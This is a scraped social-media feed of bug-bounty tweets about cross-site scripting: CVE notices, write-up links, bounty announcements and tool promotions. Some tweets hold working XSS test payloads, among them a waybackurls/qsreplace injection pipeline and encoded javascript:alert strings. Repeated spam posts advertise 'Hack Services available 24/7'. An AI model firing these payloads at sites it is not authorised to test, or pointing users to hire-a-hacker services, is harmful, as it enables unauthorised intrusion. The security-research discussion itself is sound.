Try your hacking skills against real world like challenges at https://t.co/hvdpm2hROt we cover blind XSS, SSRF, CSRF, recon, OSINT, asset and subdomain discovery, subdomain takeovers, auth issues, LFI, SQLi, session hijacking & much more! It’s a great place to hone your skills!

profile

HackersFeed_io

@HackersFeed_io2 years ago

🍖 HackerOne: HTML injection that may lead to XSS on https://t.co/hjo5nOdl4U through H1 Triage Wizard Chrome Extension 👉 https://t.co/3cVBIQV2Zi Source: HackerOne Hacktivity #infosec #hackers #datasecurity Follow @HackersFeed_io 🐦 for InfoSec content

profile

H1 Disclosed - Public Disclosures

@h1Disclosed2 years ago

⚡ HTML injection that may lead to XSS on https://t.co/uznUEc0rdi through H1 Triage Wizard Chrome Extension 👨💻 @jobertabma ➟ HackerOne 🟨 Low 💰 N/A https://t.co/AfC14S4bWp #bugbounty #bugbountytips #cybersecurity https://t.co/hbWqPcBunt

profile

Save to Notion 

@SaveToNotion2 years ago

@proawez This thread is saved to your Notion database. Tags: [Ato, Xss, Bugbountytips]

profile

1337aweyz

@proawez2 years ago

@imranparray101 @SaveToNotion #thread #xss #ato #bugbountytips

profile

shahmidoe

@shahmidoe2 years ago

echo test(.)com | waybackurls | grep "=" | grep -Ev "\.(svg|jpg|jpeg|png|gif|ico|bmp|webp|otf|eot|tif|tiff|ttf|woff|woff2|pdf|txt|js|css)" | gouro | qsreplace -a '"><iframe/src=javascript:alert(document.domain)>' | fff -k -M 'alert(document.domain)' #cybersecurity #xss #infosec

profile

shahmidoe

@shahmidoe2 years ago

#cybersecurity #bugbountytip #xss #infosecurity #infosec https://t.co/lWazPg3Gv1

profile

shahmidoe

@shahmidoe2 years ago

#infosecurity #infosec #bugbountytip #xss #cybersecurity https://t.co/uDlLxMX5Ci

profile

shahmidoe

@shahmidoe2 years ago

#cybersecurity #infosec #xss #bugbountytip https://t.co/ixP60k8Ptn

profile

Save to Notion 

@SaveToNotion2 years ago

@proawez This thread is saved to your Notion database. Tags: [Xss, Bugbountytips]

profile

1337aweyz

@proawez2 years ago

@mtrantalainen @nh___limon @Heli__9 @SaveToNotion #thread #xss #bugbountytips

profile

System Weakness

@SystemWeakness2 years ago

ChatGPT Hacking Prompts, SQLi, XSS, Vuln Analysis, Nuclei Templates, and more https://t.co/S3tuVfP73R #systemweakness #hacking #security #ethicalhacking

profile

N45HT

@N45HTOfficial2 years ago

XSS 101 #xss #infosec #bugbountytips https://t.co/EhBNBRkPAp https://t.co/5eCvvd3CE7

profile

DoubleTake

@LeDoubleTake2 years ago

Just solved : Web - Client/XSS - Stockée 1 challenge on Root-Me :þ https://t.co/R9vEbMfVOn @rootme_org #hacking #challenge #WebClient

profile

Ninad Mishra

@NinadMishra52 years ago

Best #firefox addons for testing -HackBar -Cookies Manager+ -User-Agent Switcher -Tamper Data -FoxyProxy Standard -Wappalyzer: -HttpRequester -RESTClient: -Tampermonkey -XSS Me -SQL Inject Me -iMacros -FirePHP #bugbountytips #bugbountytip #OSINT #pentest credits: @cry__pto

profile

LinuxSecurity

@lnxsec2 years ago

Hackers are exploiting XSS vulns in Apache web servers‼️☹️ The Lynis security scanner does not just tell users that something is wrong, but it also gives suggestions on how to secure it✅😀 Find out more in our newsletter 👇 https://t.co/cW3jNwrG8P #Linux #opensource #infosec

profile

iSecurity

@iSecurity2 years ago

ChatGPT Hacking Prompts, SQLi, XSS, Vuln Analysis, Nuclei Templates, and more https://t.co/sWLfK7fz2H #hacking #cybersecurity #bugbounty

profile

The XSS Rat - 🇺🇦

@theXSSrat2 years ago

Love is in the air, and so is the thrill of hacking! James Beers and The XSS Rat have teamed up to offer an incredible Bug Bounty Bundle, including a variety of current courses. Enhance your skills, get your bundle now at https://t.co/QefZhG3eZQ!

profile

Daily Bounty Tips

@BountyTips_2 years ago

https://t.co/yzuvusgmhJ #bugcrowd #bugbountyhunter #bugbountytips #hackerone #bugbounty #bugbountytip #bounty https://t.co/S9bjCmpBLc

profile

Imran Parray

@imranparray1012 years ago

Another Story ! Title: Stored XSS Leads to full org Takeover. Bounty: $4500 Type: Stored XSS Explanation 👇 #bugbounty #bugbountytips #onebugaday #cybersecurity https://t.co/YYVTxAo4UN

profile

Pentester Academy

@SecurityTube2 years ago

Ever wanted to know how XSS attacks work? Try it hands-on, for free! In this lab exercise, you will pentest a vulnerable web application with the XSSer tool. Sign in at https://t.co/vfBZUZ9khb and get started at https://t.co/9eVbY19yLq #XSS #pentest #infosec https://t.co/iANQHZoq7V

profile

HACKLIDO | Cybersecurity

@hacklido2 years ago

💠 XSSHunter setup for blind xss via 4ways By @Dheerajydv19 🔗 https://t.co/x6uErzi8Dz - - - # Tags - - - #cybersecurity #infosec #bugbountytip

profile

Rahul Patwari

@RahulPatwari1172 years ago

CVE-2023-23161 A reflected cross-site scripting (XSS) injection vulnerability was discovered in the Art Gallery Management System Project v1.0. https://t.co/qyyICxLJVJ #cybersecurity #infosec #cve

profile

SEC Consult

@sec_consult2 years ago

When you hear about "any interactions" on Valentine's Day, it can only mean one thing... https://t.co/TTlMUTwa9E #infosec #automation #sdm #xss https://t.co/rnzlG5bqxb

profile

Hakin9

@Hakin92 years ago

Cross-Site Scripting (XSS) flaws and focus on Blind XSS by Roberto Chemama & Antoine Planque. https://t.co/3T7LR5UNKi #security #opensource #cybersecurity #malware #cyber #pentesting #malwareanalysis #infosec #redteam #malwarehunting #hacking #infosec #threathunting #bugbounty

profile

0 day exploit

@0day_exploit_2 years ago

Thread 🧵:👇 Found Open-redirect >> xss >> ato 1) Try normal XSS payload - javascript:alert(1) javascript:%61lert(1) javascript:&#37&#54&#49lert(1) javascript:%26%2337%26%2354%26%2349lert(1) #BugBounty #bugbountytips #infosec #403bypass

profile

Rahmat Qurishi

@RahmatQurishi2 years ago

I earned $300 for my submission on @bugcrowd Bug: reflected xss I use GAP extension by @xnl_h4ck3r to extract parameters And fuzz parameters with intruder on different endpoints #ItTakesACrowd #bugbounty #bugbountytip

profile

Dheeraj Yadav

@Dheerajydv192 years ago

4Ways to Setup Xsshunter for finding blind xss vulnerabilities Just published a new blog on @hacklido as I feel a need of it, checkout it at https://t.co/eSWti7njpz #XSSHunter #BlindXSS #WebApplicationSecurity #BugBounty #bugbountytips #PenetrationTesting #Infosec #bughunting

profile

VIEH Group

@viehgroup2 years ago

Research | Bypass CSRF Protection w/ XSS https://t.co/VRmi8uOEjY #bugbounty #bugbountytip #bugbountytips #hacking #hacker #ethicalhacking #ethicalhacker #ethicalhackers #cybersecurity

profile

Gray Hats

@the_yellow_fall2 years ago

CVE-2023-25727: phpMyAdmin Releases Software Update to Fix XSS Vulnerability https://t.co/Jv59FsBMyc #opensource #infosec #security #pentesting

profile

Shubham Tiwari

@shubhamtiwari_r2 years ago

I have reported many vulnerabilities to hackers #hackerone #BugBounty #bugbountytips #xss #vulnerabilities https://t.co/thceLLpf51

profile

Rachit

@iamR3KT2 years ago

When you got nothing on a target program. Search for resolved reports of that program from - @hackerone hactivity - openbugbounty - Twitter search - Articles on Medium and try to bypass those vulnerabilities. Through this, I found XSS where I failed initially. #bugbountytips

profile

Daily Bounty Tips

@BountyTips_2 years ago

https://t.co/XQLdL69kcU #hackerone #bugbountyhunter #bugbounty #bugbountytips #bounty #rewards #hack #xss #yeswehack #bugcrowd @Hacker0x01 @Bugcrowd @intigriti @yeswehack https://t.co/Xdd5MeNMDi

profile

Daily Bounty Tips

@BountyTips_2 years ago

https://t.co/ZW8Ns1zMle #BountyTips #bugbounty #bugbountytips #bugbountyhunter #hackerone #xss @Hacker0x01 https://t.co/44qdqqUZrI

profile

Daily Bounty Tips

@BountyTips_2 years ago

https://t.co/XQLdL69kcU #BountyTips #bugbounty #bugbountytips #bugbountyhunter #hackerone #xss https://t.co/2g6MUXhRNc

profile

Het Mehta

@hetmehtaa2 years ago

https://t.co/WIkVWVUeIV https://t.co/L1ie5KbZDT https://t.co/r68rlCYnzh https://t.co/C3Y5DEKtbF https://t.co/zh68ZxNoo8 https://t.co/KXKZUAsOip https://t.co/viZcjDOW4q https://t.co/CSgw2SdkCH #infosec #cyber #security #hacking

profile

zzzZ

@WkendXu2 years ago

@0x0SojalSec #bugbountytips #bypass #xss @memdotai mem it

profile

iSecurity

@iSecurity2 years ago

XSS Via QR Code https://t.co/n7CjfTrDXe #bugbountytips #xssattack #penetrationtesting

profile

Md Ismail Šojal

@0x0SojalSec2 years ago

a repository to keep track of cool XSS payloads ⚔️ https://t.co/5auB2b5SlB Check this out! #infosecurity #XssPayloads #cybersec #bugbountytips https://t.co/uzhe7YDCic

profile

Ariel

@Ariel463267232 years ago

Exploit Collector: ChiKoi 1.0 Cross Site Scripting #BlackTechTwitter #xss #hacking #cybersecurity #sqlinjection #ps #bugbounty #pentesting #csrf #owasp https://t.co/Yg6yrN2qEY

profile

sudo_jeli

@sudo_jeli2 years ago

Yay, I was awarded a $750 bounty on @Hacker0x01! https://t.co/SOcQqjrmKG #TogetherWeHitHarder #hackerone #hacker0x01 #bugbounty #xss https://t.co/1beTEiUdqy

profile

Jordi Alba

@root_expert2 years ago

Xss Bypass trick! Just I found this in my archive, year 2021, this website was public program in bugcrowd, but this was self xss. Happy hunting! #xss #bypass #BugBounty https://t.co/DynZRXlojX

profile

VIEH Group

@viehgroup2 years ago

Bypassing Cloudflare WAF: XSS via SQL Injection https://t.co/Ic8eita6eo #bugbounty #bugbountytip #bugbountytips #hacking #hacker #ethicalhacking #ethicalhacker #ethicalhackers #cybersecurity

profile

🐞Sara Badran

@SaraBadran182 years ago

Reflected XSS and 3,000$ Bounty from Microsoft Forms💵🤷‍♀️ -- By @Supakiad_Mee -- https://t.co/XpSJ2sHSxy -- #hackerone #BugBounty #bugbountytips #hackeronereport #writeups #Bugbountywriteupspublished #bugbountytip https://t.co/jiZNf7tQwl

profile

Andreas Finstad - (4ndr34z)

@4nqr34z2 years ago

Provide Server v.14.4 XSS -> CSRF -> RCE (CVE-2023-23286) https://t.co/ctELV8BWze This is why XSS never should be "out of scope" in bug bounty programs! #xss #bugbounty #CVE-2023-23286 #infosec

profile

My Space!

@Supakiad_Mee2 years ago

I hope it's not a duplicate🥲. #xss #microsoft #BugBounty #bugbountytips https://t.co/OMZNp7Jg2h

profile

Programmatic.Solutions

@Programmatoris2 years ago

Unsanitized HTML input - Visit https://t.co/wwJmM1HWyb for the solution. #web_application #xss #injection #infosec #engineer

profile

0xTaHa

@FX_T4h42 years ago

hi there, can anyone explain why we used "in" to solve this XSS challenge? https://t.co/85aweTmqRs thank uu!! #XSS #bugbountytips #infosec #ctf

profile

Open Source CVEs

@OpenSourceHacks2 years ago

(CVE-2023-0747): Cross-site Scripting (XSS) - Stored in btcpayserver/btcpayserver. https://t.co/FvsSF3x4Sk Disclosed by https://t.co/PHAfdzcZFh, fixed by @BtcpayServer... #opensource #CVE #bugbounty #security #vulnerability

profile

Anukul Dhuriya

@AnukulHexx2 years ago

Vulnexp 90 | Day26 XSS Labs ➡️Free Labs: #bugbountytips #bugbountytip Thread 🧵 : 👇 https://t.co/sLHC5FLdJT

profile

Hassan

@iamHasssan2 years ago

So, finally i have submitted my first vulnerability(DOM based XSS) after two weeks of testing ☺ #Pentesting #infosec #CyberSec

profile

Programmatic.Solutions

@Programmatoris2 years ago

MIME types that allow XSS in modern browsers - Visit https://t.co/QPZZILapxJ for the solution. #web_browser #xss #javascript #mime_type #infosec

profile

Open Source CVEs

@OpenSourceHacks2 years ago

(CVE-2023-0743): Cross-site Scripting (XSS) - Generic in answerdev/answer. https://t.co/DQvXee8ND5 Disclosed by https://t.co/3xOZvDI1Hp, fixed by @answerdev... #opensource #CVE #bugbounty #security #vulnerability

profile

Open Source CVEs

@OpenSourceHacks2 years ago

(CVE-2023-0742): Cross-site Scripting (XSS) - Stored in answerdev/answer. https://t.co/YGcQt9KPiA Disclosed by https://t.co/0vBD5at5Kv, fixed by @answerdev... #opensource #CVE #bugbounty #security #vulnerability

profile

Open Source CVEs

@OpenSourceHacks2 years ago

(CVE-2023-0741): Cross-site Scripting (XSS) - DOM in answerdev/answer. https://t.co/Q95YwhvWCC Disclosed by https://t.co/0vBD5at5Kv, fixed by @answerdev... #opensource #CVE #bugbounty #security #vulnerability

profile

Open Source CVEs

@OpenSourceHacks2 years ago

(CVE-2023-0740): Cross-site Scripting (XSS) - Stored in answerdev/answer. https://t.co/ut8D7TYbao Disclosed by https://t.co/3xOZvDI1Hp, fixed by @answerdev... #opensource #CVE #bugbounty #security #vulnerability

profile

VIEH Group

@viehgroup2 years ago

How I found XSS on Admin Page without login! https://t.co/e153dJ72nm #bugbounty #bugbountytip #bugbountytips #hacking #hacker #ethicalhacking #ethicalhacker #ethicalhackers #cybersecurity

profile

VIEH Group

@viehgroup2 years ago

Reflected XSS Leads to 3,000$ Bug Bounty Rewards from Microsoft Forms https://t.co/zncbtgMmRa #bugbounty #bugbountytip #bugbountytips #hacking #hacker #ethicalhacking #ethicalhacker #ethicalhackers #cybersecurity

profile

Sean Melia

@seanmeals2 years ago

Spinning up your own private xss hunter server is incredibly easy and a good practice. Anyone that bug hunts regularly really should have one by now. Plus, it gives you a little insight into how the backend of the web apps that you’re hacking work.

profile

Open Source CVEs

@OpenSourceHacks2 years ago

(CVE-2023-0736): Cross-site Scripting (XSS) - Stored in wallabag/wallabag. https://t.co/zE46hSbSOi Disclosed by https://t.co/WHnHdmsAhC, fixed by @j0k... #opensource #CVE #bugbounty #security #vulnerability

profile

CyberIQs

@CyberIQs_2 years ago

XSS vulnerability #infosec #infosecurity #cybersecurity #threatintel #threatintelligence #hacking #cybernews #cyberattack #cloudsecurity #malware #ransomware #cyber #threathunting #ZeroTrust #CISA https://t.co/Hu1tkKH4cQ

profile

Programmatic.Solutions

@Programmatoris2 years ago

Stored XSS + PHP Backdoor + File upload vulnerability - Visit https://t.co/7pPz1VQRXW for the solution. #php #xss #metasploit #infosec #coder

profile

cybercanine

@cyberK9x2 years ago

🚨 Alert Hunters !! 🚨 Worried about #XSSHunter privacy? I've got you covered. Writing an in-depth article on hosting your own XSS Hunter instance. Keep an eye, dropping soon! 👀 #bugbounty #bugbountytips #cybersecurity #Infosec #WebSecurity

profile

cacheme

@justcacheme2 years ago

I have found an Open Redirect via Host Header on a website that does not have user registration (tried sqli & xss but no luck) but I feeI there's something here, Is there any one who's willing to collaborate? #bugbountytip #bugbounty

profile

Intect

@Intect62 years ago

Let's have look at the top 5 OWASP vulnerabilities of 2022 :- -> SECURITY MISCONFIGURATION -> SQL INJECTION -> INSECURE DESIGN -> XSS -> SSRF #vulnerabilities #Intect #Friday #Cybersecurity #OWASP #cyberattack #hacker #hacking #xss #ssrf #sqlinjection #cybersecuritythreats https://t.co/mqIM2pzETu

profile

Cybernoz

@Cybernozcom2 years ago

Radio silence from DMS vendor quartet over XSS zero-days https://t.co/lJwrMPrSJk #cybersecurity #cybersecuritynews #cybernews #infosec #informationsecurity

profile

Anukul Dhuriya

@AnukulHexx2 years ago

Cheat-Sheets: https://t.co/RcXJbb1Vce https://t.co/G5QgJwYDKX https://t.co/aJp6crFinw

profile

Anukul Dhuriya

@AnukulHexx2 years ago

Vulnexp 90 | Day25 XSS Cheat-Sheets ➡️Cheat-Sheets: ➡️Payloads: #bugbountytips #bugbountytip Thread 🧵 : 👇

profile

SekureNet

@Sekurenet2 years ago

Radio silence from DMS vendor quartet over XSS zero-days #cybersecurity #infosec https://t.co/MmsUw4MtbD

profile

HackersFeed_io

@HackersFeed_io2 years ago

🍕 Radio silence from DMS vendor quartet over XSS zero-days LINK: https://t.co/2S3pgdjPFD Source: The Daily Swig #infosec #networksecurity #redteam Interested in OffSec? 💪 @HackersFeed_io

profile

Enciphers

@EnciphersLabs2 years ago

Here is a story of how a self XSS was turned into Stored XSS. https://t.co/je9lh8bRQ7 #webappsecurity #xss #PenetrationTesting #websecurity #cybersecurity #informationsecurity #blog #threats #vulnerability #enciphers #hacking #dataprotection #cybercrime #training #appsec https://t.co/y97OTmHtXA

profile

Securzy

@SecurzyHQ2 years ago

Yesterday was a huge success! Thank you Rohit Gautam for an insightful webinar on #XSS Techniques & Automation for Bug Bounties. Participants learned valuable skills to improve their bug bounty game. Register at https://t.co/jCzDfyAUy6 for more such webinars! #BugBounty #Securzy https://t.co/EJ8Z6X5Wxi

profile

HB HACKS

@Hb_Hacks2 years ago

Hack Services available 24/7 Link: https://t.co/4aQu4aGQiA… #Metasploit #HackerOne #Synack #BugCrowd #BugBounty #BugBountyTips #InfoSec #CyberSecurity #100DaysOfCode #Malware #XSS

profile

hackwith_Roman🖥🛰📡

@RomanhacExpert12 years ago

Hack Services available 24/7 Link: https://t.co/3da2FxeJXV… #Metasploit #HackerOne #Synack #BugCrowd #BugBounty #BugBountyTips #InfoSec #CyberSecurity #100DaysOfCode #Malware #XSS

profile

Hackwith_Garry 🖥🛰

@Experthac_Gary12 years ago

Hack Services available 24/7 Link: https://t.co/9H4AubCjDg… #Metasploit #HackerOne #Synack #BugCrowd #BugBounty #BugBountyTips #InfoSec #CyberSecurity #100DaysOfCode #Malware #XSS https://t.co/ahTNbS8amw

profile

Parvez Mosaraf

@mosaraf_babu2 years ago

#BugBounty #Burpsuite #DAST #Pentesting #Plugins #offsec #seguridadinformtica #ethicalhacking #cwe #cve #owasp #ciberdefensa #cibercrimen #ciso #ciberseguridad #ciberataque #ciberdelincuentes #exploit #pentester #offsec #redteam #ctf #hacking #xss #sqli #LIE https://t.co/KVuYwBFc0p

profile

Dharamveer prasad ( v_3_3_r )

@Dharamveer_____2 years ago

🔥XSS hunters, don't overlook the power of URL context! Many vulnerabilities can be found by testing payloads in URL parameters, so make sure to check this area thoroughly: #infosec #AppSec payload list: 👇

profile

HackersFeed_io

@HackersFeed_io2 years ago

🥪 New XSS Hunter host Truffle Security faces privacy backlash 👉 https://t.co/Hyacv87ZCH Source: The Daily Swig #hacking #cybersecurity #infosec #hack What do you think about it?

profile

SekureNet

@Sekurenet2 years ago

New XSS Hunter host Truffle Security faces privacy backlash #cybersecurity #infosec https://t.co/VgOGrBhh1j

profile

CyberIQs

@CyberIQs_2 years ago

Multiple Document Management XSS Flaw Let Attackers Access Sensitive #infosec #infosecurity #cybersecurity #threatintel #threatintelligence #hacking #cybernews #cyberattack #cloudsecurity #malware #ransomware #cyber #threathunting #ZeroTrust #CISA https://t.co/Hu1tkKH4cQ

profile

Br0k3n_1337

@Br0k3n_13372 years ago

Alhamdulillah❤️ I earned $350 for my submission on @bugcrowd Tips: Immediately Retest your report after it gets resolved. #ItTakesACrowd #bugbountytip #bugbountytips #bugbounty #xss https://t.co/T4WjG7qABU

profile

Bug bounty notes

@bugbounty02 years ago

#NahamCon2022EU: I Hope This Sticks: Analyzing ClipboardEvent Listeners for XSS by spaceraccoon #bugbounty #bugbountytip #infosec #bugbountytips https://t.co/2EY9VmWUTm

profile

Bug bounty notes

@bugbounty02 years ago

Vue JS Reflected XSS #bugbounty #bugbountytip #infosec #bugbountytips https://t.co/ut2WCgwTnC

profile

Hackwith_Garry 🖥🛰

@Experthac_Gary12 years ago

Hack Services available 24/7 Link: https://t.co/9H4AubCjDg… #Metasploit #HackerOne #Synack #BugCrowd #BugBounty #BugBountyTips #InfoSec #CyberSecurity #100DaysOfCode #Malware #XSS https://t.co/IWSSjmgTOL

profile

rohit_Kumar

@krrohit2103022 years ago

Xss but duplicate 😞 #bugbounty https://t.co/URaTTalDjJ

profile

Anukul Dhuriya

@AnukulHexx2 years ago

Writeups List : • https://t.co/fy7X2Qpz16 • https://t.co/p1U60RMrlu

profile

Anukul Dhuriya

@AnukulHexx2 years ago

Vulnexp 90 | Day24 XSS Write-ups ➡️Writeups List : #bugbountytips #bugbountytip Thread 🧵 : 👇 https://t.co/oS0UuUPcgX

profile

Hardik Singh

@Kxddah2 years ago

I'm trying to bypass XSS filter on an application: 1. It strips away any instance of < > + 2. Input limited to 40 chars 3. It doesn't save if input has ' [ ] \ Input appears mostly in either <td>input</td> and <option>input</option> #infosec #bugbounty

profile

Hackwith_Garry 🖥🛰

@Experthac_Gary12 years ago

Hack Services available 24/7 Link: https://t.co/9H4AubCjDg… #Metasploit #HackerOne #Synack #BugCrowd #BugBounty #BugBountyTips #InfoSec #CyberSecurity #100DaysOfCode #Malware #XSS https://t.co/igZsRmBH52

profile

Coy Emerald 🇳🇬🇺🇦

@CoyEmerald12 years ago

There's a security vulnerability (bug) in this picture, can you spot it? (a) Sql Injection (b) Xss (c) (fill in this space with your answer) 😅 #security #vulnerabilitydisclosure #bugbountytips @CoyEmerald1 @HackenProof @Hacker0x01 @intigriti https://t.co/TJQezMh1GK

profile

Hot10Security

@Hot10Security2 years ago

Popular keywords used with #vulnerability tweets Date: 2023-02-08 Unique Tweets: 321 TOP 10 KEYWORDS 1: Data 2: Cross 3: ESXiArgs 4: Site 5: Access 6: Vigil 7: US 8: CISA 9: XSS 10: Toyota bot-tweet #infosec #cybersecurity

profile

مهند 🐎 | Mohnad 

@Mohnad2 years ago

When pentester play Fivem then try to find some juicy Stored xss :) #bugbountytips #bugbountytip https://t.co/bMCfnHseB5

profile

Hackwith_Garry 🖥🛰

@Experthac_Gary12 years ago

Hack Services available 24/7 Link: https://t.co/9H4AubCjDg… #Metasploit #HackerOne #Synack #BugCrowd #BugBounty #BugBountyTips #InfoSec #CyberSecurity #100DaysOfCode #Malware #XSS https://t.co/3viif3Zqg3

profile

Hackwith_Garry 🖥🛰

@Experthac_Gary12 years ago

Hack Services available 24/7 Link: https://t.co/9H4AubCjDg… #Metasploit #HackerOne #Synack #BugCrowd #BugBounty #BugBountyTips #InfoSec #CyberSecurity #100DaysOfCode #Malware #XSS https://t.co/8fqasXXDDi

profile

Th3Pr0xyB0y

@Th3Pr0xyB0y2 years ago

@bxsshunter is going open-source to ensure transparency & launching custom database integration for complete control of your data. Perfect for users who can't run custom instances. Get ready for this exciting update! (https://t.co/gjwNwSUa2N) #Cybersecurity #bugbountytips #xss https://t.co/CWNV91ubrr

profile

Th3Pr0xyB0y

@Th3Pr0xyB0y2 years ago

Join https://t.co/gjwNwSUa2N now to stay informed when we release our open-source software and receive a comprehensive guide on how to gain full control over your data through personalized database integration. This feature will be included in an upcoming update. #bugbountytips https://t.co/JUib9Yf7wp

profile

Th3Pr0xyB0y

@Th3Pr0xyB0y2 years ago

The #AWSVRP on #HackerOne now requires personal XSSHunter instances for reporting. We're providing open-source #BXSSHunter for the community & ability to integrate custom databases for full control over your data. Report vuln with peace of mind. #bugbountytips #cybersecurity https://t.co/pEjJmeNIUW

profile

CyberIQs

@CyberIQs_2 years ago

Critical XSS flaw in phpMyAdmin allows malicious database operations #infosec #infosecurity #cybersecurity #threatintel #threatintelligence #hacking #cybernews #cyberattack #cloudsecurity #malware #ransomware #cyber #threathunting #ZeroTrust #CISA https://t.co/Hu1tkKH4cQ

profile

Th3Pr0xyB0y

@Th3Pr0xyB0y2 years ago

Exciting news! Following industry trends and valuable insights from @zseano, we've decided to open-source our @bxsshunter. This update will empower users to monitor their data by integrating their custom database. Stay tuned for more details on the release! #bugbountytips https://t.co/sxGMqpOKaa

profile

IICyberSecurity

@iicsorg2 years ago

#infosec #cybersecurity Critical XSS flaw in phpMyAdmin allows malicious database operations https://t.co/sL6qLGvZQT https://t.co/Cp8kA6W4vI

profile

Hackwith_Garry 🖥🛰

@Experthac_Gary12 years ago

Hack Services available 24/7 Link: https://t.co/9H4AubCjDg… #Metasploit #HackerOne #Synack #BugCrowd #BugBounty #BugBountyTips #InfoSec #CyberSecurity #100DaysOfCode #Malware #XSS https://t.co/P53eN5pXwq

profile

abdulsec

@moodiAbdoul2 years ago

@Masonhck3571 Smart way to automate blind xss discovery in all bugbounty Target but i prefer the self hosted https://t.co/FihoM3mhTv

profile

bullsec

@bullsecsecure2 years ago

@cyberK9x On an educational note. Part of the skillset for a successful infosec person should be standing up basic infrastructure stuff (like XSS Hunter or Burp Collaborator), learn a lot about configuration and management and doing it on a VPS isolates you from an actual f**k up.

profile

cybercanine

@cyberK9x2 years ago

🚨 ALERT !! 🚨 Stop relying on third-party hosted XSS hunter instances! You never know what's being monitored and it's best to have full control over your testing environment.Invest in a $5 VPS and host your own instance for transparency & security. #bugbountytips #cybersecurity

profile

Sathish M

@goldenrockers12 years ago

@impratikdabhi @therceman @SaveToBookmarks #BugBounty #XSS

profile

Barbarosa

@Barbarossa0x2 years ago

The vulnerability can be: - XSS - CSRF - DIRTY COOKIE - NEGOTIATE DOMAIN - NEGOTIATE HOST - NEGOTIATE PORT - NEGOTIATE PATH - NEGOTIATE PROTOCOL - NEGOTIATE PROTOCOL VERSION #infosec #CyberSec #Hacking #tryhackme

profile

Filipi Pires

@FilipiPires2 years ago

phpMyAdmin Releases Software Update to Fix XSS Vulnerability https://t.co/L0H5kLbovZ #security #opensource #cybersecurity #malware #cyber #pentesting #malwareanalysis #infosec #redteam #malwarehunting #hacking #infosec #threathunting #bugbounty #tools #offensivesecurity

profile

Gray Hats

@the_yellow_fall2 years ago

phpMyAdmin Releases Software Update to Fix XSS Vulnerability https://t.co/Jv59FsBMyc #opensource #infosec #security #pentesting

profile

Bug Zero

@BugZero_io2 years ago

#BugZeroLightReading this week Tidbits of Cross-Site Scripting (XSS) Read: https://t.co/xrEUPwnloY #BugZero #BugBounty #SriLanka #BugZeroLightReading #BugBountyTips

profile

Hackers Online Club (HOC)

@HOCupdate2 years ago

HOCXSS — Automatic Cross-Site Scripting (#XSS) Vulnerability Scanner https://t.co/57RVqCEWTs Features : ● Automatic Parameters Detection ● Scan using TOR ● WAF Detection ● Multi-threaded Crawling ● Cookie Support #infosec #cybersecurity

profile

Cybernoz

@Cybernozcom2 years ago

DOM XSS vulnerability in Gartner Peer Insights widget patched https://t.co/w5RyGx9Jr1 #cybersecurity #cybersecuritynews #cybernews #infosec #informationsecurity

profile

Hacker Spy Network

@HackerSpyNet12 years ago

Significance to “Not Set CSP” While Checking For XSS Vulnerabilities With XSpear? https://t.co/En6Gox8YW1

profile

ArcherL (@[email protected])

@realArcherL2 years ago

Would you be interested in receiving customized new letters from https://t.co/a9616mChCH? Like, get articles based only on #xss #csrf #web #idors? I am experimenting with ways I can make it sustainable; as of now, it runs on what I earn from my part time job. #bugbountytips

profile

Luthra

@justluthra2 years ago

I injected BXSS Payloads in 2020 but got XSS Fired Today #bugbounty #xsshunter https://t.co/Y67RsfNSW6

profile

HackersFeed_io

@HackersFeed_io2 years ago

🍟 DOM XSS vulnerability in Gartner Peer Insights widget patched LINK: https://t.co/tUwmvcUHQT Thanks The Daily Swig #infosec #networksecurity #redteam What do you think about it?

profile

SekureNet

@Sekurenet2 years ago

DOM XSS vulnerability in Gartner Peer Insights widget patched #cybersecurity #infosec https://t.co/W1K01FZK4q

profile

Begin n Bounty

@beginnbounty2 years ago

🔥XSS hunters, don't overlook the power of URL context! Many vulnerabilities can be found by testing payloads in URL parameters, so make sure to check this area thoroughly: #infosec #AppSec payload list: 👇

profile

s3c

@s3c_krd2 years ago

Bounty of stored XSS by collaboration with @siratsami71 @moe1n1 @zhenwarx #BugBounty #togetherwehitharder https://t.co/7o7JBfZUwK

profile

Hackwith_Garry 🖥🛰

@Experthac_Gary12 years ago

Hack Services available 24/7 Link: https://t.co/9H4AubCjDg… #Metasploit #HackerOne #Synack #BugCrowd #BugBounty #BugBountyTips #InfoSec #CyberSecurity #100DaysOfCode #Malware #XSS https://t.co/UssN7L9gDE

profile

🇮🇳 ! Bõt âmît

@Botami1432 years ago

### WAF / Cloudflare Bypass 20+ XSS Payloads #bugbountytips #BugBounty #bugbountytip #cybersecuritytips #cybersecurity #hacker #Hacking #infosecurity #infosec #xss https://t.co/wcsXYDATVX

profile

Pratik Dabhi

@impratikdabhi2 years ago

$350 XSS in 15 minutes by @therceman https://t.co/Hq05YoSkR4 #bugbounty #infosec #Hacking

profile

Hackwith_Garry 🖥🛰

@Experthac_Gary12 years ago

Hack Services available 24/7 Link: https://t.co/9H4AubCjDg… #Metasploit #HackerOne #Synack #BugCrowd #BugBounty #BugBountyTips #InfoSec #CyberSecurity #100DaysOfCode #Malware #XSS https://t.co/x3uSpUR9tQ

profile

at0m

@atomiczsec2 years ago

#BugBounty #bugbountytips #bugbountytip #xss #payload #payloads #bughunting #bugs #javascript

profile

Hackwith_Garry 🖥🛰

@Experthac_Gary12 years ago

Hack Services available 24/7 Link: https://t.co/9H4AubCjDg… #Metasploit #HackerOne #Synack #BugCrowd #BugBounty #BugBountyTips #InfoSec #CyberSecurity #100DaysOfCode #Malware #XSS https://t.co/92U9qErSoB

profile

chosen negreaux americana

@TheDgtalEmpress2 years ago

What’s your fave security vulnerability to exploit red team? ❤️‍🔥 #CyberSecurity #infosec #redteam #hacking #sqlinjection #xss https://t.co/oNkyKw2Z7S

profile

0xSe.eK

@0se0ek2 years ago

#100dayofbugbounty day01 (xss): 1)Read this blog: https://t.co/1FE3D4aWtk 2)hunting 3 hours and find 1 bugs but its duplicat 2)learn javascript language ------------ #bugbountytips #BugBounty #infosec #100DaysOfCode #100DaysOfCyberSecurity

profile

Hackwith_Garry 🖥🛰

@Experthac_Gary12 years ago

Hack Services available 24/7 Link: https://t.co/9H4AubCjDg… #Metasploit #HackerOne #Synack #BugCrowd #BugBounty #BugBountyTips #InfoSec #CyberSecurity #100DaysOfCode #Malware #XSS https://t.co/43LAeAnWWu

profile

hackwith_Roman🖥🛰📡

@RomanhacExpert12 years ago

Hack Services available 24/7 Link: https://t.co/3da2FxeJXV… #Metasploit #HackerOne #Synack #BugCrowd #BugBounty #BugBountyTips #InfoSec #CyberSecurity #100DaysOfCode #Malware #XSS https://t.co/e4NfirdpfA

profile

bounter

@_bughunter2 years ago

Blind XSS To SSRF 🔥🔥🔥🔥 https://t.co/mKiPbSHZQm #bugbountytips #bugbountytip #bugbounty

